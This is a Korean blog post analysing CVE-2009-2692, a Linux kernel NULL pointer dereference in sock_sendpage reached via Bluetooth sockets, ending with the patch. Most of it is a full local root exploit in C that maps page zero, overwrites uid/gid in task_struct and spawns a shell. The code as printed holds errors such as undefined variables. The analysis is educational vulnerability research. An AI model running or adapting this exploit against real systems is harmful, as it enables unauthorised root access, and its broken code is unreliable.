시스템 해킹/Kernel

[1-day Analysis] CVE-2009-2692 ( NULL Pointer Dereference in Linux Kernel )

ii4gsp 2021. 3. 15. 22:57
Disclosure or Patch Date: August 13 2009
Product: Linux kernel
Affected Versions: Linux kernel 2.6.0 - 2.6.30.4, 2.4.4 - 2.4.37.4
Bug Class: NULL Pointer Dereference

CVE-2009-2692에서 발생한 취약점은 NULL Pointer Dereference이고 권한 상승이 가능한 취약점이다.

 

 

ssize_t sock_sendpage(struct file *file, struct page *page,
		      int offset, size_t size, loff_t *ppos, int more)
{
	struct socket *sock;
	int flags;

	if (ppos != &file->f_pos)
		return -ESPIPE;

	sock = SOCKET_I(file->f_dentry->d_inode);

	flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
	if (more)
		flags |= MSG_MORE;

	return sock->ops->sendpage(sock, page, offset, size, flags);
}

NULL Pointer Dereference가 발생하는 지점은 net/socket.c의 sock_sendpage() 에서 발생한다.

sock_sendpage() 함수에서 sock -> ops -> sendpage() 함수를 호출할 때 socket 구조체의 포인터 변수인 ops는 proto_ops 구조체를 가리키는데 proto_ops 구조체의 함수 포인터인 sendpage() 함수에 대한 NULL Check 과정이 없어 취약점이 발생한다.

 

 

struct socket {
	socket_state		state;
	unsigned long		flags;
	struct proto_ops	*ops;
	struct fasync_struct	*fasync_list;
	struct file		*file;
	struct sock		*sk;
	wait_queue_head_t	wait;
	short			type;
	unsigned char		passcred;
};

socket 구조체는 include/linux/net.h에 선언되어 있다.

socket 구조체의 포인터 변수인 ops는 proto_ops 구조체를 가리키고 있다.

 

 

struct proto_ops {
	int		family;
	struct module	*owner;
	int		(*release)   (struct socket *sock);
	int		(*bind)	     (struct socket *sock,
				      struct sockaddr *myaddr,
				      int sockaddr_len);
	int		(*connect)   (struct socket *sock,
				      struct sockaddr *vaddr,
				      int sockaddr_len, int flags);
	int		(*socketpair)(struct socket *sock1,
				      struct socket *sock2);
	int		(*accept)    (struct socket *sock,
				      struct socket *newsock, int flags);
	int		(*getname)   (struct socket *sock,
				      struct sockaddr *addr,
				      int *sockaddr_len, int peer);
	unsigned int	(*poll)	     (struct file *file, struct socket *sock,
				      struct poll_table_struct *wait);
	int		(*ioctl)     (struct socket *sock, unsigned int cmd,
				      unsigned long arg);
	int		(*listen)    (struct socket *sock, int len);
	int		(*shutdown)  (struct socket *sock, int flags);
	int		(*setsockopt)(struct socket *sock, int level,
				      int optname, char __user *optval, int optlen);
	int		(*getsockopt)(struct socket *sock, int level,
				      int optname, char __user *optval, int __user *optlen);
	int		(*sendmsg)   (struct kiocb *iocb, struct socket *sock,
				      struct msghdr *m, int total_len);
	int		(*recvmsg)   (struct kiocb *iocb, struct socket *sock,
				      struct msghdr *m, int total_len,
				      int flags);
	int		(*mmap)	     (struct file *file, struct socket *sock,
				      struct vm_area_struct * vma);
	ssize_t		(*sendpage)  (struct socket *sock, struct page *page,
				      int offset, size_t size, int flags);
};

proto_ops 구조체도 include/linux/net.h에 선언되어 있다.

맨 아래 함수 포인터인 sendpage() 함수가 보인다.

 

 

socket(PF_BLUETOOTH, SOCK_DGRAM, 0);

socket() 함수를 호출할 때 인자를 저렇게 전달해주면 내부적으로 l2cap_sock_create() 함수가 호출된다.

 

 

static int l2cap_sock_create(struct socket *sock, int protocol)
{
	struct sock *sk;

	BT_DBG("sock %p", sock);

	sock->state = SS_UNCONNECTED;

	if (sock->type != SOCK_SEQPACKET && sock->type != SOCK_DGRAM && sock->type != SOCK_RAW)
		return -ESOCKTNOSUPPORT;
	
	if (sock->type == SOCK_RAW && !capable(CAP_NET_RAW))
		return -EPERM;
	
	sock->ops = &l2cap_sock_ops;

	sk = l2cap_sock_alloc(sock, protocol, GFP_KERNEL);
	if (!sk)
		return -ENOMEM;

	l2cap_sock_init(sk, NULL);
	return 0;
}

l2cap_sock_create() 함수에서 sock->ops = &l2cap_sock_ops; 이렇게 sock->ops에 l2cap_sock_ops 구조체의 주소를 저장한다.

 

 

static struct proto_ops l2cap_sock_ops = {
	.family  =      PF_BLUETOOTH,
	.owner   =	THIS_MODULE,
	.release =      l2cap_sock_release,
	.bind    =      l2cap_sock_bind,
	.connect =      l2cap_sock_connect,
	.listen  =      l2cap_sock_listen,
	.accept  =      l2cap_sock_accept,
	.getname =      l2cap_sock_getname,
	.sendmsg =      l2cap_sock_sendmsg,
	.recvmsg =      bt_sock_recvmsg,
	.poll    =      bt_sock_poll,
	.mmap    =      sock_no_mmap,
	.socketpair =   sock_no_socketpair,
	.ioctl      =   sock_no_ioctl,
	.shutdown   =   l2cap_sock_shutdown,
	.setsockopt =   l2cap_sock_setsockopt,
	.getsockopt =   l2cap_sock_getsockopt
};

l2cap_sock_ops 구조체는 이런 형태이다.

 

 

l2cap_sock_create() 함수에서 l2cap_sock_ops 구조체를 할당하게 되는데 proto_ops 구조체의 함수 포인터인 sendpage에 전달되는 값이 없다.

그렇기 때문에 함수 포인터인 sendpage 변수에는 0이 들어가게 된다.

 

 

ssize_t sock_sendpage(struct file *file, struct page *page,
		      int offset, size_t size, loff_t *ppos, int more)
{
	struct socket *sock;
	int flags;

	if (ppos != &file->f_pos)
		return -ESPIPE;

	sock = SOCKET_I(file->f_dentry->d_inode);

	flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
	if (more)
		flags |= MSG_MORE;

	return sock->ops->sendpage(sock, page, offset, size, flags);
}

이렇게 sock->ops->sendpage() 를 호출했을때 0x0을 호출하게 되면서 취약점이 발생하게 된다.

 

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

static unsigned long uid, gid;

uid = getuid();
gid = getgid();

static unsigned long current_stack_pointer()
{
    unsigned long stack_pointer;

    asm("movq %%rsp, %0;"
    :   "=r" (stack_pointer));

    return stack_pointer;
}

static unsigned long current_task_struct()
{
    unsigned long task_struct;
    unsigned long thread_info;

    thread_info = current_stack_pointer() & ~(4095);

    if(*(unsigned long*)thread_info >= 0xc0000000)
    {
        task_struct = *(unsigned long*)thread_info;

        if(*(unsigned long*)task_struct == 0)
        {
            return task_struct;
        }
    }
}

static int get_root()
{
    unsigned long *task_struct;

    task_struct = (unsigned int*)current_task_struct();

    while(task_struct)
    {
        if(task_struct[0] == uid && task_struct[1] == uid && task_struct[2] == uid && task_struct[3] == uid
        && task_struct[4] == gid && task_struct[5] == gid && task_struct[6] == gid && task_struct[7] == gid)
        {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            
            break;
        }

        task_struct++;
    }

    return -1;
}

int main()
{
    char *addr;
    int out_fd, in_fd;
    char template[] = "/tmp/tmp.XXXXXX";

    if((addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_FIXED
        | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
    {
        perror("mmap");
        return -1;
    }

    addr[0] = "\xff";
    addr[1] = "\x25";
    *(unsigned long*)&addr[2] = 8;
    *(unsigned long*)&addr[8] = (unsigned long)get_root;

    if((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1)
    {
        perror("socket");
        return -1;
    }

    if((in_fd = mkstemp(tmp)) == -1)
    {
        perror("mkstemp");
        return -1;
    }

    if(unlink(template) == -1)
    {
        perror("unlink");
        return -1;
    }

    if(ftruncate(infd, 4096) == -1)
    {
        perror("ftruncate");
        return -1;
    }

    sendfile(out_fd, in_fd, NULL, 4096);

    system("/bin/sh");
}

전체적인 익스플로잇 코드는 이러하다.

익스플로잇 단계를 분석해보자.

 

 

int main()
{
    char *addr;
    int out_fd, in_fd;
    char template[] = "/tmp/tmp.XXXXXX";

    if((addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_FIXED
        | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED)
    {
        perror("mmap");
        return -1;
    }

    addr[0] = "\xff";
    addr[1] = "\x25";
    *(unsigned long*)&addr[2] = 8;
    *(unsigned long*)&addr[8] = (unsigned long)get_root;

    if((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1)
    {
        perror("socket");
        return -1;
    }

    if((in_fd = mkstemp(tmp)) == -1)
    {
        perror("mkstemp");
        return -1;
    }

    if(unlink(template) == -1)
    {
        perror("unlink");
        return -1;
    }

    if(ftruncate(infd, 4096) == -1)
    {
        perror("ftruncate");
        return -1;
    }

    sendfile(out_fd, in_fd, NULL, 4096);

    system("/bin/sh");
}

먼저 메인함수에서 mmap() 함수를 호출하여 addr에 0으로 초기화된 0x0 주소를 할당받는다.

 

 

addr[0] = "\xff";
addr[1] = "\x25";
*(unsigned long*)&addr[2] = 8;
*(unsigned long*)&addr[8] = (unsigned long)get_root;

그 후 addr에 opcode인 ff 25 08 00 00 00 ... 을 써준다.

ff 25 08 00 00 00은 어셈블리어로 jmp DWORD PTR ds:0x8 이다.

즉, 주소 0x8로 jmp를 한다는건데 0x8 주소에는 권한 상승을 시키는 함수 get_root() 함수의 주소가 있다.

취약점을 이용하여 0x0을 호출하면 opcode가 실행되어 get_root() 함수가 호출될 것이다.

 

 

static int get_root()
{
    unsigned long *task_struct;

    task_struct = (unsigned int*)current_task_struct();

    while(task_struct)
    {
        if(task_struct[0] == uid && task_struct[1] == uid && task_struct[2] == uid && task_struct[3] == uid
        && task_struct[4] == gid && task_struct[5] == gid && task_struct[6] == gid && task_struct[7] == gid)
        {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            
            break;
        }

        task_struct++;
    }

    return -1;
}

get_root() 함수에서는 current_task_struct() 함수를 호출하여 task_struct 구조체의 주소를 알아내 권한 상승을 하는 함수이다.

 

 

static unsigned long current_task_struct()
{
    unsigned long task_struct;
    unsigned long thread_info;

    thread_info = current_stack_pointer() & ~(4095);

    if(*(unsigned long*)thread_info >= 0xc0000000)
    {
        task_struct = *(unsigned long*)thread_info;

        if(*(unsigned long*)task_struct == 0)
        {
            return task_struct;
        }
    }
}

current_task_struct() 함수는 currnet_stack_pointer() 함수를 호출하여 ESP 레지스터 값을 반환 받는다.

ESP 값과 4095를 NOT 연산한 값을 AND 연산하여 하위 3바이트를 0으로 만들어준다.

하위 3바이트를 0으로 만들어주면 스택의 처음 주소를 알아낼 수 있다.

ESP가 스택의 어디에 위치하든 0xfffff000과 AND 연산을하면 스택의 처음 주소를 알아낼 수 있는 원리이다.

스택의 처음 주소를 알아내는 이유는 커널 스택의 처음 주소에 thread_info 구조체가 존재하기 때문이다.

 

 

struct thread_info {
    struct task_struct    *task;        /* main task structure */
    struct exec_domain    *exec_domain;    /* execution domain */
    unsigned long        flags;        /* low level flags */
    unsigned long        status;        /* thread-synchronous flags */
    __u32            cpu;        /* current CPU */
    __s32            preempt_count; /* 0 => preemptable, <0 => BUG */


    mm_segment_t        addr_limit;    /* thread address space:
                            0-0xBFFFFFFF for user-thead
                           0-0xFFFFFFFF for kernel-thread
                        */
    struct restart_block    restart_block;

    unsigned long           previous_esp;   /* ESP of the previous stack in case
                           of nested (IRQ) stacks
                        */
    __u8            supervisor_stack[0];
};

thread_info 구조체에는 task_struct 구조체를 가리키는 task 포인터가 존재한다.

그래서 thread_info 구조체를 구하면 task_struct 구조체의 주소를 알아내 uid, gid의 값을 0으로 바꿔 권한을 root로 바꿀수 있다.

task_struct->cred에서 권한 상승을 하는게 아닌 이유는 kernel 2.6.X 버전 이후부터 struct cred 구조체를 만들어 권한 관련 부분을 따로 관리하는데 2.6.X 버전 이전은 task_struct 구조체에서 uid, gid를 관리하기 때문이다.

 

 

if((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1)
    {
        perror("socket");
        return -1;
    }

    if((in_fd = mkstemp(tmp)) == -1)
    {
        perror("mkstemp");
        return -1;
    }

    if(unlink(template) == -1)
    {
        perror("unlink");
        return -1;
    }

    if(ftruncate(infd, 4096) == -1)
    {
        perror("ftruncate");
        return -1;
    }

    sendfile(out_fd, in_fd, NULL, 4096);

    system("/bin/sh");

마지막으로 메인 함수에서 socket(), mkstemp(), unlink(), ftruncate(), sendfile() 함수를 차례대로 호출하고 system() 함수를 호출하여 쉘을 실행시킨다.

 

 

static ssize_t sock_sendpage(struct file *file, struct page *page,
			     int offset, size_t size, loff_t *ppos, int more)
{
	struct socket *sock;
	int flags;

	sock = file->private_data;

	flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
	if (more)
		flags |= MSG_MORE;

	return kernel_sendpage(sock, page, offset, size, flags);
}

취약점이 패치된 버전에서는 sock_sendpage() 함수에서 kernel_sendpage() 함수를 호출한다.

 

 

int kernel_sendpage(struct socket *sock, struct page *page, int offset,
		    size_t size, int flags)
{
	sock_update_classid(sock->sk);

	if (sock->ops->sendpage)
		return sock->ops->sendpage(sock, page, offset, size, flags);

	return sock_no_sendpage(sock, page, offset, size, flags);
}

kernel_sendpage() 함수에서 if (sock->ops->sendpage)에서 NULL Check를 하여 0x0이 호출되지 않게 패치되었다.